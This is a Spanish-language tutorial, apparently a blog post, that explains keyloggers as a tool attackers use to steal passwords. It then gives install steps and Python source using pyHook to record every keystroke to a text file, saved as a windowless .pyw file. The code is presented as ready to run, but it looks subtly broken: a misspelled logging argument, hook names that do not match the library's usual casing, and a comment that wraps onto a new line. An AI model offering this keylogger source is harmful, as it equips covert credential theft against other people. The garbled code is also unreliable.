

Ataque de KeyLogger para averiguar cuales son las teclas que ha pulsado un usuario

Un Keylogger es un tipo de ataque diseñado para registrar todas las pulsaciones de teclado que se realizan en el ordenador. Los piratas informáticos lo utilizan para robar contraseñas o cualquier otro tipo de dato importante al usuario cuando este inicie sesión en alguna página.

Utilizar esta herramienta de forma remota requiere cierta complejidad, no obstante, podemos crear un keylogger para utilizarlo de manera local en nuestro ordenador y guardar todas las teclas que hayamos pulsado.

Lo primero es necesario tener instalado los siguientes paquetes:

pyHook y *pythoncom*: para capturar los eventos del teclado. Este punto puede dar problemas, ya que para poder utilizar la librería *pyhook* es necesario que la versión de python que tenemos instalada en nuestro ordenador coincida con la versión de *pyhook* que hayamos descargado. En el siguiente enlace se pueden descargar todas las versiones de *pyhook*: <https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook>

Pythoncom es un submódulo que viene dentro del paquete *pyHook*.

PyWin32: que nos suministra funciones de la API de Windows

A continuación debemos copiar el siguiente código en nuestro editor. La función *onKeyBoardEvent* sirve para capturar las teclas pulsadas y escribirlas en un archivo .txt:

```
import sys
import pyHook #Es necesario que la version de python que tenemos
coincida con la version de pyhook
import pythoncom
import win32console
import logging

archivo='miRuta/teclasPulsadas.txt'

def onKeyBoardEvent(event):
    logging.basicConfig(fileName=archivo, level=logging.DEBUG,
format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()
hooks_manager.keyDown=onKeyBoardEvent
hooks_manager.hookKeyBoard()
pythoncom.PumpMessages()
```

Después debemos guardar este código con la extensión *.pyw* (por ejemplo, *keylogger.pyw*) y ya habremos creado un archivo ejecutable listo para registrar todas las pulsaciones de nuestro teclado y guardarlas en el fichero *.txt* que le hayamos indicado dentro de la variable *archivo*.

Hacemos doble clic en el archivo *keylogger.pyw* y automáticamente empezará a registrar todas nuestras teclas pulsadas.